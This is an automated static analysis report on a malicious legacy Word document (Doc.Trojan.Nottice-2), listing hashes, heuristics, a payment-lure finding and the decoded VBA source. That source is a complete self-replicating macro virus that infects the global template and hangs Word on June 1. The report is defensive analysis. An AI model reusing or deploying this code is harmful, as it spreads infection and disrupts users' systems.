Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6fc61af1d8d72736…

MALICIOUS

Office (OLE)

54.5 KB Created: 1999-04-09 07:04:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e13789458c45782682060f21a8ad9005 SHA-1: 62bed64df824d0a02976de9a3b955efb019b40c0 SHA-256: 6fc61af1d8d72736ef7f16d61a89711aedfaf1d108114de66f68fc115a37da84
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The document contains a payment request lure, and the presence of AutoOpen and AutoClose VBA macros indicates malicious intent. The macros are designed to copy themselves to the global template and the current document, likely to establish persistence or spread. The ClamAV detection 'Doc.Trojan.Nottice-2' further confirms its malicious nature.

Heuristics 8

  • ClamAV: Doc.Trojan.Nottice-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nottice-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Callback phishing phone lure medium SE_CALLBACK_LURE
    Document asks the user to call a phone number in billing, refund, subscription, fraud, or security context — consistent with callback phishing or tech-support scam patterns. Suppressed for legitimate-issuer (IRS/gov/official-form) documents that carry no urgency or charge/dispute escalation.
  • Fake invoice / payment lure low SE_INVOICE_LURE
    Document contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.gseindia.com/ In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2385 bytes
SHA-256: 6798eac652da82353edb599c8996e632af490cc7be1b7e6fad644bd111a32b39
Detection
ClamAV: Doc.Trojan.Nottice-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim J$
On Error GoTo -1: On Error GoTo Finish
WordBasic.DisableAutoMacros 0
J$ = LCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))
If J$ = "normal.dot" Then
    If VI = 1 Then
        GoTo Finish
    Else
        InfectDOC
    End If
Else
    If VI2 = 1 Then
        GoTo Finish
    Else
        InfectGlobal
    End If
End If
Finish:
WordBasic.Call "HARKONE"
End Sub

Private Function VI()
Dim i
VI = 0
If WordBasic.CountMacros(1) > 0 Then
    For i = 1 To WordBasic.CountMacros(1)
                If WordBasic.[MacroName$](i, 1) = "HARKONE" Then
                             VI = 1
        End If
    Next i
End If
End Function

Private Function VI2()
Dim i
VI2 = 0
If WordBasic.CountMacros(0) > 0 Then
    For i = 1 To WordBasic.CountMacros(0)
                If WordBasic.[MacroName$](i, 0) = "HARKONE" Then
                             VI2 = 1
        End If
    Next i
End If
End Function

Private Sub InfectDOC()
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.MacroCopy "Global:HARKONE", WordBasic.[FileName$]() + ":HARKONE"
WordBasic.FileSaveAll 1, 1
End Sub

Private Sub InfectGlobal()
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoClose"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":HARKONE", "Global:HARKONE"
WordBasic.FileSaveAll 1, 0
End Sub

Attribute VB_Name = "HARKONE"

Public Sub MAIN()
If WordBasic.Day(WordBasic.Now()) = 1 And WordBasic.Month(WordBasic.Now()) = 6 Then
    WordBasic.FileNew
    WordBasic.ToggleFull
    WordBasic.DocMaximize
    WordBasic.Font "Imprint MT Shadow"
    WordBasic.FontSize 60
    WordBasic.Bold
    WordBasic.Insert "HARKONE"
    WordBasic.StartOfLine
    WordBasic.CharRight 1, 1
    WordBasic.FormatFont Points:="48", Color:=6
    WordBasic.EndOfLine
    WordBasic.InsertPara
    WordBasic.InsertPara
    WordBasic.FontSize 48
    WordBasic.Insert "NJ [SLAM]"
HangOn:
GoTo HangOn
End If
End Sub

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